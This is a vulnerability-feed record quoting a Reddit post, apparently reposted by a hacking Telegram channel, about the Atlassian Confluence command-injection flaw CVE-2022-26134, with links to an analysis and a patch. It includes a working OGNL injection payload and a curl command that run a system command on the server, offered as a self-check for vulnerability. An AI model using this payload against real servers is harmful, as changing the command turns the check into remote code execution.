{"uuid": "ca587384-234a-4c0f-8e65-3ec9a84df1ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-26134", "type": "seen", "source": "https://t.me/hacking_Attack/56706", "content": "Analysis report of Zero-day Vulnerability in Atlassian Confluence.\nhttps://www.reddit.com/r/redteamsec/comments/v86c1g/analysis_report_of_zeroday_vulnerability_in/\n\nOn 2022-06-03, New zero-day Vulnerability occured. CVE-2022-26134 is one of command injection vulnerability. According to Report, a zero-day attack that began during the Memorial Day holiday in the United States and attacker could exploit this CVE-2022-26134 vulnerability to upload a webshell. You can see full report on this blog\n https://blog.criminalip.io/2022/06/05/criminal-ip-analysis-report-on-zero-day-vulnerability-in-atlassian-confluence/ . \u200b https://preview.redd.it/uvzj6bb2ai491.png?width=933&format=png&auto=webp&s=1e4e10b5a3e71515abdc1d3de3dd2e5b0e7ed3d7 EDIT: Patch out: https://www.atlassian.com/software/confluence/download-archives If you are a Confluence user and you have access to Confluence through a browser on your PC, you can run the following command with a curl or python script to determine vulnerabilities of your Confluence server. Even if you are not an information security officer, there is a way to check vulnerabilities of your company\u2019s Confluence. Try the following method and immediately request your security department for patches : https://your_confluence_address/${(#result=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\u201cid\u201d).getInputStream(),\u201dutf-8\u2033)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\u201cX-Cmd-Response\u201d,#result))}/ If you change the part of your Confluence address, you can check it with curl as follows. If the uid, gid, and group of the Confluence server are displayed in the X-Cmd-Response header value, this server is considered to have CVE-2022-26134 vulnerability. curl -v -k \u2013head https://your_confluence_address/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ | grep X-Cmd-Response    submitted by    /u/Late_Ice_9288  (https://www.reddit.com/user/Late_Ice_9288) \n [link] (https://www.reddit.com/r/redteamsec/comments/v86c1g/analysis_report_of_zeroday_vulnerability_in/)   [comments] (https://www.reddit.com/r/redteamsec/comments/v86c1g/analysis_report_of_zeroday_vulnerability_in/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:36.740694Z"}